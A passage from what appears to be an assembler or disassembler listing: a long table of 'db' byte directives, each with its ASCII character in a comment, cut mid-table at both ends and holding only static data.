66h ; f db 2 ; db 1 ; db 8Ch ; db 67h ; g db 1Dh ; db 3 ; db 8Ch ; db 68h ; h db 1 ; db 1 ; db 8Ch ; db 69h ; i db 6 ; db 64h ; d db 8Ch ; db 6Bh ; k db 34h ; 4 db 0Bh ; db 8Ch ; db 6Bh ; k db 58h ; X db 0Bh ; db 8Ch ; db 6Bh ; k db 5Ch ; \ db 0Bh ; db 8Ch ; db 6Dh ; m db 1 ; db 0Ah ; db 8Ch ; db 6Eh ; n db 10h ; db 1 ; db 8Ch ; db 6Eh ; n db 4 ; db 1 ; db 8Ch ; db 6Eh ; n db 3Ch ; < db 1 ; db 8Ch ; db 6Fh ; o db 1 ; db 2 ; db 8Ch ; db 6Fh ; o db 1 ; db 14h ; db 8Ch ; db 6Fh ; o db 5Fh ; _ db 1 ; db 8Ch ; db 70h ; p db 0FEh ; db 2 ; db 8Ch ; db 70h ; p db 0FEh ; db 4 ; db 8Ch ; db 71h ; q db 1 ; db 1 ; db 8Ch ; db 72h ; r db 40h ; @ db 0Ah ; db 8Ch ; db 72h ; r db 57h ; W db 1 ; db 8Ch ; db 73h ; s db 1 ; db 1Fh ; db 8Ch ; db 76h ; v db 1Fh ; db 63h ; c db 8Ch ; db 77h ; w db 1 ; db 6Eh ; n db 8Ch ; db 78h ; x db 1 ; db 2 ; db 8Ch ; db 78h ; x db 1 ; db 15h ; db 8Ch ; db 7Ah ; z db 41h ; A db 9 ; db 8Ch ; db 7Bh ; { db 2 ; db 5 ; db 8Ch ; db 7Ch ; | db 0Dh ; db 2 ; db 8Ch ; db 7Fh ;  db 1 ; db 2 ; db 8Ch ; db 82h ; db 51h ; Q db 0Bh ; db 8Ch ; db 84h ; db 1 ; db 0C9h ; db 8Ch ; db 84h ; db 3 ; db 0C9h ; db 8Ch ; db 86h ; db 4 ; db 1 ; db 8Ch ; db 87h ; db 12h ; db 0Fh ; db 8Ch ; db 88h ; db 0F7h ; db 0FBh ; db 8Ch ; db 88h ; db 0F7h ; db 0FCh ; db 8Ch ; db 89h ; db 1 ; db 8 ; db 8Ch ; db 8Ah ; db 2 ; db 64h ; d db 8Ch ; db 8Ah ; db 4 ; db 64h ; d db 8Ch ; db 8Ch ; db 3Ah ; : db 3 ; db 8Ch ; db 8Dh ; db 2 ; db 2 ; db 8Ch ; db 8Eh ; db 5 ; db 0Dh ; db 8Ch ; db 8Eh ; db 5 ; db 5 ; db 8Ch ; db 90h ; db 0CCh ; db 14h ; db 8Ch ; db 92h ; db 80h ; db 28h ; ( db 8Ch ; db 93h ; db 2 ; db 0Ch ; db 8Ch ; db 94h ; db 5 ; db 0FAh ; db 8Ch ; db 94h ; db 7 ; db 1 ; db 8Ch ; db 94h ; db 7 ; db 0ACh ; db 8Ch ; db 96h ; db 5Dh ; ] db 0Ch ; db 8Ch ; db 99h ; db 2Bh ; + db 2Ch ; , db 8Ch ; db 9Dh ; db 40h ; @ db 0B6h ; db 8Ch ; db 9Eh ; db 40h ; @ db 0C7h ; db 8Ch ; db 9Eh ; db 40h ; @ db 0C8h ; db 8Ch ; db 9Fh ; db 1Eh ; db 0Ch ; db 8Ch ; db 9Fh ; db 41h ; A db 1 ; db 8Ch ; db 0A0h ; db 0F0h ; db 0Ch ; db 8Ch ; db 0A0h ; db 0F2h ; db 0Dh ; db 8Ch ; db 0A1h ; db 2 ; db 2 ; db 8Ch ; db 0A1h ; db 2 ; db 8 ; db 8Ch ; db 0A3h ; db 9 ; db 0FEh ; db 8Ch ; db 0A4h ; db 1 ; db 1 ; db 8Ch ; db 0A4h ; db 1 ; db 2 ; db 8Ch ; db 0A5h ; db 2 ; db 63h ; c db 8Ch ; db 0A9h ; db 1 ; db 14h ; db 8Ch ; db 0A9h ; db 24h ; $ db 0Fh ; db 8Ch ; db 0ACh ; db 0Ah ; db 9 ; db 8Ch ; db 0ACh ; db 0FEh ; db 0Ah ; db 8Ch ; db 0ACh ; db 6 ; db 2 ; db 8Ch ; db 0AEh ; db 4Dh ; M db 14h ; db 8Ch ; db 0AFh ; db 0D6h ; db 0Bh ; db 8Ch ; db 0AFh ; db 0D6h ; db 0Ch ; db 8Ch ; db 0AFh ; db 0D6h ; db 0Dh ; db 8Ch ; db 0AFh ; db 0D6h ; db 15h ; db 8Ch ; db 0B1h ; db 0Ah ; db 0Ch ; db 8Ch ; db 0B2h ; db 21h ; ! db 25h ; % db 8Ch ; db 0B2h ; db 21h ; ! db 26h ; & db 8Ch ; db 0B3h ; db 0B0h ; db 0FEh ; db 8Ch ; db 0B5h ; db 60h ; ` db 0Bh ; db 8Ch ; db 0B7h ; db 53h ; S db 7Eh ; ~ db 8Ch ; db 0B8h ; db 1 ; db 1 ; db 8Ch ; db 0B9h ; db 1Ch ; db 2Dh ; - db 8Ch ; db 0B9h ; db 1Ch ; db 2Eh ; . db 8Ch ; db 0BAh ; db 1 ; db 0Eh ; db 8Ch ; db 0BAh ; db 1 ; db 4 ; db 8Ch ; db 0BCh ; db 40h ; @ db 99h ; db 8Ch ; db 0BCh ; db 40h ; @ db 4 ; db 8Ch ; db 0BEh ; db 80h ; db 2 ; db 8Ch ; db 0C0h ; db 1 ; db 32h ; 2 db 8Ch ; db 0C0h ; db 8 ; db 0FAh ; db 8Ch ; db 0C3h ; db 1 ; db 1 ; db 8Ch ; db 0C3h ; db 1 ; db 69h ; i db 8Ch ; db 0C6h ; db 8 ; db 0Fh ; db 8Ch ; db 0CBh ; db 7 ; db 0BAh ; db 8Ch ; db 0CBh ; db 9 ; db 1 ; db 8Ch ; db 0D0h ; db 1 ; db 9 ; db 8Ch ; db 0D1h ; db 1 ; db 5 ; db 8Ch ; db 0D3h ; db 0Ah ; db 14h ; db 8Ch ; db 0DCh ; db 1 ; db 1 ; db 8Ch ; db 0DDh ; db 9 ; db 6 ; db 8Ch ; db 0E4h ; db 0Ah ; db 1 ; db 8Ch ; db 0E6h ; db 5 ; db 4Ch ; L db 8Ch ; db 0E8h ; db 1 ; db 5 ; db 8Ch ; db 0E9h ; db 1 ; db 4 ; db 8Ch ; db 0E9h ; db 2 ; db 0CCh ; db 8Ch ; db 0EAh ; db 1 ; db 1 ; db 8Ch ; db 0EDh ; db 3Eh ; > db 0Ah ; db 8Ch ; db 0EDh ; db 3Eh ; > db 0Bh ; db 8Ch ; db 0EFh ; db 8Ch ; db 0EFh ; db 8Ch ; db 0F2h ; db 1 ; db 1 ; db 8Ch ; db 0F3h ; db 66h ; f db 0Fh ; db 8Ch ; db 0F3h ; db 66h ; f db 10h ; db 8Ch ; db 0F4h ; db 1 ; db 45h ; E db 8Ch ; db 0F4h ; db 2 ; db 22h ; " db 8Ch ; db 0FBh ; db 9Bh ; db 10h ; db 8Ch ; db 0FBh ; db 2 ; db 12h ; db 8Ch ; db 0FCh ; db 1 ; db 36h ; 6 db 8Ch ; db 0FDh ; db 7Ah ; z db 8 ; db 8Ch ; db 20h ; db 84h ; db 42h ; B db 8Ch ; db 4Ch ; L db 0CCh ; db 33h ; 3 db 8Ch ; db 4Dh ; M db 1 ; db 0B7h ; db 8Ch ; db 4Dh ; M db 1 ; db 20h ; db 8Ch ; db 4Eh ; N db 2 ; db 3Eh ; > db 8Ch ; db 4Eh ; N db 3 ; db 3Eh ; > db 8Ch ; db 4Fh ; O db 2 ; db 8 ; db 8Ch ; db 50h ; P db 0C1h ; db 82h ; db 8Ch ; db 58h ; X db 80h ; db 1 ; db 8Ch ; db 5Ah ; Z db 0E7h ; db 13h ; db 8Ch ; db 5Dh ; ] db 0 ; db 0Ch ; db 8Ch ; db 5Dh ; ] db 0 ; db 0Fh ; db 8Ch ; db 5Eh ; ^ db 52h ; R db 0Dh ; db 8Ch ; db 5Eh ; ^ db 52h ; R db 0Eh ; db 8Ch ; db 61h ; a db 4 ; db 0Ch ; db 8Ch ; db 61h ; a db 4 ; db 0Dh ; db 8Ch ; db 63h ; c db 0 ; db 2 ; db 8Ch ; db 63h ; c db 1 ; db 2 ; db 8Dh ; db 1 ; db 1 ; db 1 ; db 8Dh ; db 64h ; d db 0Ah ; db 14h ; db 8Dh ; db 64h ; d db 0Fh ; db 32h ; 2 db 8Dh ; db 68h ; h db 96h ; db 0FBh ; db 8Dh ; db 6Ch ; l db 5 ; db 3 ; db 8Dh ; db 0Bh ; db 0EAh ; db 43h ; C db 8Dh ; db 0Bh ; db 0EAh ; db 44h ; D db 8Dh ; db 70h ; p db 4 ; db 5Ah ; Z db 8Dh ; db 73h ; s db 4 ; db 5 ; db 8Dh ; db 75h ; u db 64h ; d db 1 ; db 8Dh ; db 75h ; u db 64h ; d db 4 ; db 8Dh ; db 0Ch ; db 23h ; # db 9 ; db 8Dh ; db 0Ch ; db 3Eh ; > db 1Ah ; db 8Dh ; db 78h ; x db 8 ; db 2 ; db 8Dh ; db 78h ; x db 8 ; db 3 ; db 8Dh ; db 7Ah ; z db 10h ; db 72h ; r db 8Dh ; db 7Bh ; { db 64h ; d db 4 ; db 8Dh ; db 7Bh ; { db 6Eh ; n db 4 ; db 8Dh ; db 7Fh ;  db 2 ; db 8 ; db 8Dh ; db 81h ; db 1 ; db 4 ; db 8Dh ; db 0Dh ; db 0D2h ; db 2 ; db 8Dh ; db 0Dh ; db 0FAh ; db 2 ; db 8Dh ; db 82h ; db 0FAh ; db 11h ; db 8Dh ; db 83h ; db 80h ; db 1Ch ; db 8Dh ; db 83h ; db 3 ; db 1Ch ; db 8Dh ; db 84h ; db 4 ; db 2 ; db 8Dh ; db 0Eh ; db 80h ; db 1 ; db 8Dh ; db 8Ch ; db 1 ; db 2 ; db 8Dh ; db 8Eh ; db 2 ; db 2 ; db 8Dh ; db 0Fh ; db 3 ; db 1 ; db 8Dh ; db 96h ; db 0 ; db 44h ; D db 8Dh ; db 97h ; db 0 ; db 44h ; D db 8Dh ; db 97h ; db 80h ; db 44h ; D db 8Dh ; db 97h ; db 99h ; db 5Eh ; ^ db 8Dh ; db 9Ah ; db 0 ; db 44h ; D db 8Dh ; db 9Bh ; db 0 ; db 44h ; D db 8Dh ; db 9Bh ; db 46h ; F db 23h ; # db 8Dh ; db 10h ; db 0F4h ; db 4 ; db 8Dh ; db 0A1h ; db 64h ; d db 0C9h ; db 8Dh ; db 0A2h ; db 65h ; e db 0FBh ; db 8Dh ; db 0A3h ; db 1 ; db 0FAh ; db 8Dh ; db 0A4h ; db 64h ; d db 7 ; db 8Dh ; db 0A4h ; db 18h ; db 0D9h ; db 8Dh ; db 0A5h ; db 1 ; db 0Ah ; db 8Dh ; db 0A5h ; db 1 ; db 9 ; db 8Dh ; db 0A6h ; db 0BCh ; db 7 ; db 8Dh ; db 0A7h ; db 2Ch ; , db 33h ; 3 db 8Dh ; db 0A7h ; db 2Ch ; , db 34h ; 4 db 8Dh ; db 0AEh ; db 5Fh ; _ db 5 ; db 8Dh ; db 0AEh ; db 5Fh ; _ db 7 ; db 8Dh ; db 0B0h ; db 1Fh ; db 1 ; db 8Dh ; db 12h ; db 1 ; db 0Bh ; db 8Dh ; db 12h ; db 1 ; db 0Ch ; db 8Dh ; db 0BBh ; db 21h ; ! db 50h ; P db 8Dh ; db 13h ; db 1 ; db 4Bh ; K db 8Dh ; db 0C3h ; db 5 ; db 0C8h ; db 8Dh ; db 0C6h ; db 80h ; db 9 ; db 8Dh ; db 0C6h ; db 88h ; db 6 ; db 8Dh ; db 0C7h ; db 0Fh ; db 0Eh ; db 8Dh ; db 0C7h ; db 0Fh ; db 5 ; db 8Dh ; db 2 ; db 1 ; db 1 ; db 8Dh ; db 2 ; db 16h ; db 4Ah ; J db 8Dh ; db 14h ; db 1 ; db 1Fh ; db 8Dh ; db 0C9h ; db 1 ; db 3 ; db 8Dh ; db 0C9h ; db 1 ; db 6 ; db 8Dh ; db 0CAh ; db 0F8h ; db 1Fh ; db 8Dh ; db 0CAh ; db 0F8h ; db 20h ; db 8Dh ; db 0CBh ; db 0FEh ; db 0Ch ; db 8Dh ; db 0D1h ; db 1 ; db 16h ; db 8Dh ; db 15h ; db 4 ; db 3 ; db 8Dh ; db 0D2h ; db 0Ah ; db 0Fh ; db 8Dh ; db 0D2h ; db 0Ah ; db 19h ; db 8Dh ; db 0D3h ; db 7Dh ; } db 0Fh ; db 8Dh ; db 0D3h ; db 90h ; db 0Fh ; db 8Dh ; db 0D3h ; db 4Bh ; K db 0F8h ; db 8Dh ; db 0D4h ; db 2 ; db 45h ; E db 8Dh ; db 0D4h ; db 2 ; db 51h ; Q db 8Dh ; db 0D6h ; db 0FCh ; db 90h ; db 8Dh ; db 0D7h ; db 45h ; E db 3 ; db 8Dh ; db 0D8h ; db 1 ; db 3 ; db 8Dh ; db 0D9h ; db 1 ; db 0Dh ; db 8Dh ; db 0D9h ; db 1 ; db 0Fh ; db 8Dh ; db 0D9h ; db 10h ; db 0Bh ; db 8Dh ; db 0DAh ; db 1 ; db 64h ; d db 8Dh ; db 0DAh ; db 1 ; db 68h ; h db 8Dh ; db 0DBh ; db 64h ; d db 1Eh ; db 8Dh ; db 0DBh ; db 4 ; db 1Eh ; db 8Dh ; db 16h ; db 0C0h ; db 20h ; db 8Dh ; db 16h ; db 0C0h ; db 21h ; ! db 8Dh ; db 0E0h ; db 40h ; @ db 1 ; db 8Dh ; db 0E1h ; db 1 ; db 2 ; db 8Dh ; db 0E1h ; db 1 ; db 5 ; db 8Dh ; db 0E4h ; db 4 ; db 0B5h ; db 8Dh ; db 0E8h ; db 1 ; db 1 ; db 8Dh ; db 0E9h ; db 80h ; db 1 ; db 8Dh ; db 0E9h ; db 9Fh ; db 2 ; db 8Dh ; db 0EEh ; db 1 ; db 2 ; db 8Dh ; db 18h ; db 0Ch ; db 2 ; db 8Dh ; db 18h ; db 4 ; db 1 ; db 8Dh ; db 0F1h ; db 0Ah ; db 4 ; db 8Dh ; db 0F1h ; db 6Bh ; k db 2 ; db 8Dh ; db 0F1h ; db 6 ; db 4 ; db 8Dh ; db 0F2h ; db 9 ; db 64h ; d db 8Dh ; db 0F2h ; db 9 ; db 32h ; 2 db 8Dh ; db 0F4h ; db 80h ; db 0Bh ; db 8Dh ; db 0F4h ; db 7 ; db 0Ah ; db 8Dh ; db 0F4h ; db 7 ; db 0Bh ; db 8Dh ; db 0F5h ; db 28h ; ( db 0DCh ; db 8Dh ; db 0F6h ; db 2 ; db 73h ; s db 8Dh ; db 0F8h ; db 80h ; db 2 ; db 8Dh ; db 0FAh ; db 1 ; db 5 ; db 8Dh ; db 0FAh ; db 1 ; db 7 ; db 8Dh ; db 0FCh ; db 1 ; db 3 ; db 8Dh ; db 0FCh ; db 96h ; db 4 ; db 8Dh ; db 0FEh ; db 1 ; db 0Bh ; db 8Dh ; db 1Ah ; db 40h ; @ db 1 ; db 8Dh ; db 1Ah ; db 40h ; @ db 5 ; db 8Dh ; db 1Ch ; db 2 ; db 13h ; db 8Dh ; db 1Eh ; db 7Dh ; } db 8 ; db 8Dh ; db 1Eh ; db 42h ; B db 87h ; db 8Dh ; db 1Fh ; db 6Fh ; o db 2 ; db 8Dh ; db 20h ; db 0C0h ; db 11h ; db 8Dh ; db 21h ; ! db 0D0h ; db 10h ; db 8Dh ; db 22h ; " db 1 ; db 10h ; db 8Dh ; db 23h ; # db 1 ; db 10h ; db 8Dh ; db 23h ; # db 1 ; db 50h ; P db 8Dh ; db 25h ; % db 0Ah ; db 6Bh ; k db 8Dh ; db 25h ; % db 0DAh ; db 0Ah ; db 8Dh ; db 26h ; & db 2 ; db 6 ; db 8Dh ; db 26h ; & db 2 ; db 7 ; db 8Dh ; db 27h ; ' db 0Dh ; db 2 ; db 8Dh ; db 4 ; db 4 ; db 29h ; ) db 8Dh ; db 4 ; db 7 ; db 1 ; db 8Dh ; db 28h ; ( db 0Ah ; db 23h ; # db 8Dh ; db 29h ; ) db 1 ; db 0FAh ; db 8Dh ; db 2Bh ; + db 1 ; db 1 ; db 8Dh ; db 2Bh ; + db 2Ch ; , db 0Ah ; db 8Dh ; db 2Bh ; + db 5 ; db 28h ; ( db 8Dh ; db 2Ch ; , db 1 ; db 1 ; db 8Dh ; db 2Ch ; , db 1 ; db 2 ; db 8Dh ; db 2Dh ; - db 1 ; db 1 ; db 8Dh ; db 2Dh ; - db 5 ; db 64h ; d db 8Dh ; db 2Eh ; . db 8 ; db 1 ; db 8Dh ; db 2Eh ; . db 8 ; db 3Ch ; < db 8Dh ; db 2Fh ; / db 46h ; F db 1 ; db 8Dh ; db 2Fh ; / db 46h ; F db 28h ; ( db 8Dh ; db 30h ; 0 db 3 ; db 11h ; db 8Dh ; db 30h ; 0 db 3 ; db 3 ; db 8Dh ; db 30h ; 0 db 3 ; db 33h ; 3 db 8Dh ; db 31h ; 1 db 0C1h ; db 0E9h ; db 8Dh ; db 5 ; db 0C4h ; db 0Ch ; db 8Dh ; db 32h ; 2 db 0A1h ; db 0Bh ; db 8Dh ; db 33h ; 3 db 8 ; db 3 ; db 8Dh ; db 33h ; 3 db 8 ; db 4 ; db 8Dh ; db 35h ; 5 db 8 ; db 1 ; db 8Dh ; db 35h ; 5 db 8 ; db 3 ; db 8Dh ; db 36h ; 6 db 1 ; db 3 ; db 8Dh ; db 36h ; 6 db 64h ; d db 81h ; db 8Dh ; db 37h ; 7 db 0C0h ; db 32h ; 2 db 8Dh ; db 37h ; 7 db 0C0h ; db 33h ; 3 db 8Dh ; db 38h ; 8 db 1Fh ; db 2 ; db 8Dh ; db 38h ; 8 db 1Fh ; db 3 ; db 8Dh ; db 39h ; 9 db 1 ; db 1 ; db 8Dh ; db 39h ; 9 db 1 ; db 6 ; db 8Dh ; db 3Ah ; : db 0E7h ; db 9 ; db 8Dh ; db 6 ; db 1 ; db 0Bh ; db 8Dh ; db 3Ch ; < db 0A0h ; db 2 ; db 8Dh ; db 3Ch ; < db 0A0h ; db 5 ; db 8Dh ; db 3Dh ; = db 1 ; db 17h ; db 8Dh ; db 3Dh ; = db 1 ; db 20h ; db 8Dh ; db 3Eh ; > db 1 ; db 5 ; db 8Dh ; db 3Fh ; ? db 4 ; db 0Ah ; db 8Dh ; db 40h ; @ db 3 ; db 37h ; 7 db 8Dh ; db 40h ; @ db 3 ; db 54h ; T db 8Dh ; db 42h ; B db 12h ; db 0C8h ; db 8Dh ; db 45h ; E db 1 ; db 1 ; db 8Dh ; db 7 ; db 1 ; db 12h ; db 8Dh ; db 47h ; G db 1 ; db 15h ; db 8Dh ; db 47h ; G db 1 ; db 16h ; db 8Dh ; db 48h ; H db 3 ; db 0Ah ; db 8Dh ; db 48h ; H db 3 ; db 0Ch ; db 8Dh ; db 4Bh ; K db 8 ; db 1 ; db 8Dh ; db 4Dh ; M db 0E1h ; db 25h ; % db 8Dh ; db 4Fh ; O db 80h ; db 4 ; db 8Dh ; db 50h ; P db 10h ; db 32h ; 2 db 8Dh ; db 50h ; P db 19h ; db 0Bh ; db 8Dh ; db 50h ; P db 8 ; db 0Ah ; db 8Dh ; db 52h ; R db 10h ; db 0F2h ; db 8Dh ; db 55h ; U db 80h ; db 1 ; db 8Dh ; db 57h ; W db 6Eh ; n db 2 ; db 8Dh ; db 59h ; Y db 40h ; @ db 1 ; db 8Dh ; db 59h ; Y db 41h ; A db 1 ; db 8Dh ; db 5Ah ; Z db 2 ; db 1 ; db 8Dh ; db 5Dh ; ] db 23h ; # db 2 ; db 8Dh ; db 63h ; c db 1 ; db 0Ch ; db 8Dh ; db 63h ; c db 9Eh ; db 4Fh ; O db 8Dh ; db 63h ; c db 2 ; db 2 ; db 8Eh ; db 66h ; f db 1Eh ; db 5 ; db 8Eh ; db 68h ; h db 6 ; db 1 ; db 8Eh ; db 68h ; h db 50h ; P db 2 ; db 8Eh ; db 6Bh ; k db 86h ; db 5 ; db 8Eh ; db 6Ch ; l db 0B8h ; db 27h ; ' db 8Eh ; db 6Dh ; m db 1 ; db 4 ; db 8Eh ; db 6Eh ; n db 83h ; db 2 ; db 8Eh ; db 6Eh ; n db 83h ; db 0FEh ; db 8Eh ; db 80h ; db 42h ; B db 1Ah ; db 8Eh ; db 0Dh ; db 10h ; db 7 ; db 8Eh ; db 82h ; db 1 ; db 19h ; db 8Eh ; db 84h ; db 1 ; db 9 ; db 8Eh ; db 87h ; db 4 ; db 0Eh ; db 8Eh ; db 89h ; db 3 ; db 1 ; db 8Eh ; db 8Bh ; db 18h ; db 18h ; db 8Eh ; db 0Eh ; db 0Ah ; db 0CDh ; db 8Eh ; db 92h ; db 27h ; ' db 1Eh ; db 8Eh ; db 93h ; db 0Fh ; db 0Ah ; db 8Eh ; db 93h ; db 0Fh ; db 9 ; db 8Eh ; db 98h ; db 3Eh ; > db 2 ; db 8Eh ; db 9Bh ; db 0F8h ; db 1 ; db 8Eh ; db 9Bh ; db 63h ; c db 4 ; db 8Eh ; db 9Ch ; db 1 ; db 0DFh ; db 8Eh ; db 9Eh ; db 2 ; db 0Ah ; db 8Eh ; db 9Eh ; db 2 ; db 14h ; db 8Eh ; db 9Eh ; db 0C8h ; db 5 ; db 8Eh ; db 0A0h ; db 2 ; db 0Bh ; db 8Eh ; db 0A5h ; db 5 ; db 2 ; db 8Eh ; db 0A5h ; db 5 ; db 4 ; db 8Eh ; db 0A9h ; db 1 ; db 10h ; db 8Eh ; db 11h ; db 2 ; db 1Eh ; db 8Eh ; db 0B1h ; db 81h ; db 0Bh ; db 8Eh ; db 0B1h ; db 2 ; db 0Ch ; db 8Eh ; db 0C8h ; db 40h ; @ db 32h ; 2 db 8Eh ; db 0CDh ; db 0D0h ; db 0Dh ; db 8Eh ; db 0CDh ; db 0E8h ; db 0Dh ; db 8Eh ; db 0CEh ; db 40h ; @ db 0Ah ; db 8Eh ; db 0CFh ; db 90h ; db 4 ; db 8Eh ; db 0CFh ; db 90h ; db 5 ; db 8Eh ; db 0D9h ; db 5 ; db 9 ; db 8Eh ; db 16h ; db 0FAh ; db 4Dh ; M db 8Eh ; db 0DEh ; db 7Dh ; } db 14h ; db 8Eh ; db 0DEh ; db 7Dh ; } db 15h ; db 8Eh ; db 0E3h ; db 33h ; 3 db 1 ; db 8Eh ; db 0E6h ; db 1 ; db 1 ; db 8Eh ; db 0E6h ; db 0C7h ; db 3 ; db 8Eh ; db 0E8h ; db 0BDh ; db 1 ; db 8Eh ; db 0E9h ; db 0Fh ; db 50h ; P db 8Eh ; db 0EEh ; db 40h ; @ db 47h ; G db 8Eh ; db 0F0h ; db 0C8h ; db 0Ah ; db 8Eh ; db 0F6h ; db 0D3h ; db 64h ; d db 8Eh ; db 3 ; db 64h ; d db 0Fh ; db 8Eh ; db 3 ; db 64h ; d db 0FEh ; db 8Eh ; db 20h ; db 64h ; d db 0Fh ; db 8Eh ; db 27h ; ' db 0C9h ; db 0Ah ; db 8Eh ; db 27h ; ' db 0C9h ; db 1Eh ; db 8Eh ; db 2Ah ; * db 0F2h ; db 1 ; db 8Eh ; db 33h ; 3 db 1 ; db 34h ; 4 db 8Eh ; db 33h ; 3 db 1 ; db 35h ; 5 db 8Eh ; db 34h ; 4 db 58h ; X db 1 ; db 8Eh ; db 37h ; 7 db 1 ; db 9 ; db 8Eh ; db 3Ah ; : db 67h ; g db 1 ; db 8Eh ; db 3Ah ; : db 67h ; g db 2 ; db 8Eh ; db 3Ch ; < db 64h ; d db 64h ; d db 8Eh ; db 40h ; @ db 1 ; db 32h ; 2 db 8Eh ; db 42h ; B db 3 ; db 64h ; d db 8Eh ; db 42h ; B db 3 ; db 65h ; e db 8Eh ; db 49h ; I db 83h ; db 27h ; ' db 8Eh ; db 49h ; I db 83h ; db 28h ; ( db 8Eh ; db 4Ah ; J db 1 ; db 3 ; db 8Eh ; db 4Ah ; J db 1 ; db 4 ; db 8Eh ; db 4Dh ; M db 1 ; db 1 ; db 8Eh ; db 4Dh ; M db 1 ; db 5 ; db 8Eh ; db 4Eh ; N db 28h ; ( db 4 ; db 8Eh ; db 57h ; W db 1 ; db 4 ; db 8Eh ; db 59h ; Y db 2 ; db 15h ; db 8Eh ; db 59h ; Y db 3 ; db 64h ; d db 8Eh ; db 9 ; db 3 ; db 3 ; db 8Eh ; db 9 ; db 3 ; db 5 ; db 8Eh ; db 5Ah ; Z db 64h ; d db 13h ; db 8Eh ; db 5Ah ; Z db 64h ; d db 44h ; D db 8Eh ; db 5Ch ; \ db 24h ; $ db 1 ; db 8Eh ; db 5Ch ; \ db 27h ; ' db 12h ; db 8Eh ; db 5Ch ; \ db 41h ; A db 0Fh ; db 8Eh ; db 5Eh ; ^ db 92h ; db 2 ; db 8Eh ; db 63h ; c db 0F0h ; db 9 ; db 8Fh ; db 65h ; e db 70h ; p db 2 ; db 8Fh ; db 69h ; i db 8 ; db 2 ; db 8Fh ; db 6Ah ; j db 33h ; 3 db 25h ; % db 8Fh ; db 6Bh ; k db 0FDh ; db 3 ; db 8Fh ; db 6Bh ; k db 0FDh ; db 5 ; db 8Fh ; db 6Ch ; l db 17h ; db 2 ; db 8Fh ; db 6Eh ; n db 1 ; db 1 ; db 8Fh ; db 6Fh ; o db 40h ; @ db 0FEh ; db 8Fh ; db 6Fh ; o db 59h ; Y db 0FEh ; db 8Fh ; db 74h ; t db 74h ; t db 0FCh ; db 8Fh ; db 75h ; u db 0Eh ; db 0Dh ; db 8Fh ; db 75h ; u db 6 ; db 42h ; B db 8Fh ; db 77h ; w db 63h ; c db 9 ; db 8Fh ; db 79h ; y db 0FEh ; db 1 ; db 8Fh ; db 7Eh ; ~ db 0CBh ; db 0FEh ; db 8Fh ; db 7Eh ; ~ db 0D3h ; db 0DCh ; db 8Fh ; db 80h ; db 40h ; @ db 2 ; db 8Fh ; db 80h ; db 40h ; @ db 3 ; db 8Fh ; db 81h ; db 0C9h ; db 0D2h ; db 8Fh ; db 82h ; db 10h ; db 8 ; db 8Fh ; db 84h ; db 1 ; db 9 ; db 8Fh ; db 9Eh ; db 10h ; db 5 ; db 8Fh ; db 9Eh ; db 10h ; db 6 ; db 8Fh ; db 0A0h ; db 8 ; db 0CDh ; db 8Fh ; db 0A1h ; db 0F8h ; db 0Ah ; db 8Fh ; db 0A1h ; db 0F8h ; db 2 ; db 8Fh ; db 0A5h ; db 0C9h ; db 50h ; P db 8Fh ; db 0A6h ; db 52h ; R db 0FBh ; db 8Fh ; db 0A6h ; db 52h ; R db 0FCh ; db 8Fh ; db 0A7h ; db 1 ; db 0Bh ; db 8Fh ; db 0A7h ; db 2 ; db 2 ; db 8Fh ; db 0A9h ; db 0Ch ; db 63h ; c db 8Fh ; db 0A9h ; db 0FEh ; db 1 ; db 8Fh ; db 0AEh ; db 10h ; db 7 ; db 8Fh ; db 0B0h ; db 0B0h ; db 3 ; db 8Fh ; db 0B1h ; db 1 ; db 65h ; e db 8Fh ; db 0B6h ; db 0F6h ; db 18h ; db 8Fh ; db 0B6h ; db 0F6h ; db 19h ; db 8Fh ; db 0B7h ; db 98h ; db 19h ; db 8Fh ; db 0B7h ; db 98h ; db 1Ah ; db 8Fh ; db 0BAh ; db 0Bh ; db 46h ; F db 8Fh ; db 0C0h ; db 1 ; db 67h ; g db 8Fh ; db 0C3h ; db 1 ; db 3 ; db 8Fh ; db 0C3h ; db 1 ; db 6 ; db 8Fh ; db 0C5h ; db 0C8h ; db 1 ; db 8Fh ; db 0C8h ; db 80h ; db 96h ; db 8Fh ; db 0C8h ; db 80h ; db 98h ; db 8Fh ; db 0CDh ; db 40h ; @ db 33h ; 3 db 8Fh ; db 0CDh ; db 40h ; @ db 34h ; 4 db 8Fh ; db 0CFh ; db 1 ; db 4 ; db 8Fh ; db 0D2h ; db 0Ch ; db 98h ; db 8Fh ; db 0D2h ; db 0Ch ; db 9Ah ; db 8Fh ; db 0D9h ; db 64h ; d db 42h ; B db 8Fh ; db 0D9h ; db 81h ; db 0Ah ; db 8Fh ; db 0D9h ; db 81h ; db 42h ; B db 8Fh ; db 0DCh ; db 1 ; db 4 ; db 8Fh ; db 0E0h ; db 0B9h ; db 1 ; db 8Fh ; db 0E2h ; db 43h ; C db 0CAh ; db 8Fh ; db 0E3h ; db 1 ; db 15h ; db 8Fh ; db 0E3h ; db 30h ; 0 db 3 ; db 8Fh ; db 0E5h ; db 1 ; db 6 ; db 8Fh ; db 0E7h ; db 1 ; db 43h ; C db 8Fh ; db 0E7h ; db 0F9h ; db 0C3h ; db 8Fh ; db 0E9h ; db 1 ; db 1 ; db 8Fh ; db 0EAh ; db 20h ; db 0Dh ; db 8Fh ; db 0EAh ; db 20h ; db 4 ; db 8Fh ; db 0EBh ; db 2 ; db 10h ; db 8Fh ; db 0EBh ; db 2 ; db 4 ; db 8Fh ; db 0ECh ; db 1 ; db 0Eh ; db 8Fh ; db 0ECh ; db 1 ; db 0Fh ; db 8Fh ; db 0EDh ; db 2 ; db 3Ah ; : db 8Fh ; db 0EDh ; db 2 ; db 42h ; B db 8Fh ; db 0EFh ; db 1 ; db 1 ; db 8Fh ; db 0EFh ; db 1 ; db 19h ; db 8Fh ; db 0F4h ; db 48h ; H db 3Eh ; > db 8Fh ; db 0F6h ; db 0 ; db 1 ; db 8Fh ; db 0F8h ; db 1 ; db 0B1h ; db 8Fh ; db 0FAh ; db 3 ; db 3 ; db 8Fh ; db 0FAh ; db 3 ; db 4 ; db 8Fh ; db 0FCh ; db 50h ; P db 3 ; db 8Fh ; db 0FEh ; db 2 ; db 14h ; db 8Fh ; db 0FEh ; db 14h ; db 2 ; db 8Fh ; db 2Bh ; + db 20h ; db 64h ; d db 8Fh ; db 2Bh ; + db 20h ; db 65h ; e db 8Fh ; db 2Ch ; , db 80h ; db 1 ; db 8Fh ; db 30h ; 0 db 1 ; db 1 ; db 8Fh ; db 32h ; 2 db 14h ; db 19h ; db 8Fh ; db 34h ; 4 db 2 ; db 0Ah ; db 8Fh ; db 34h ; 4 db 2 ; db 12h ; db 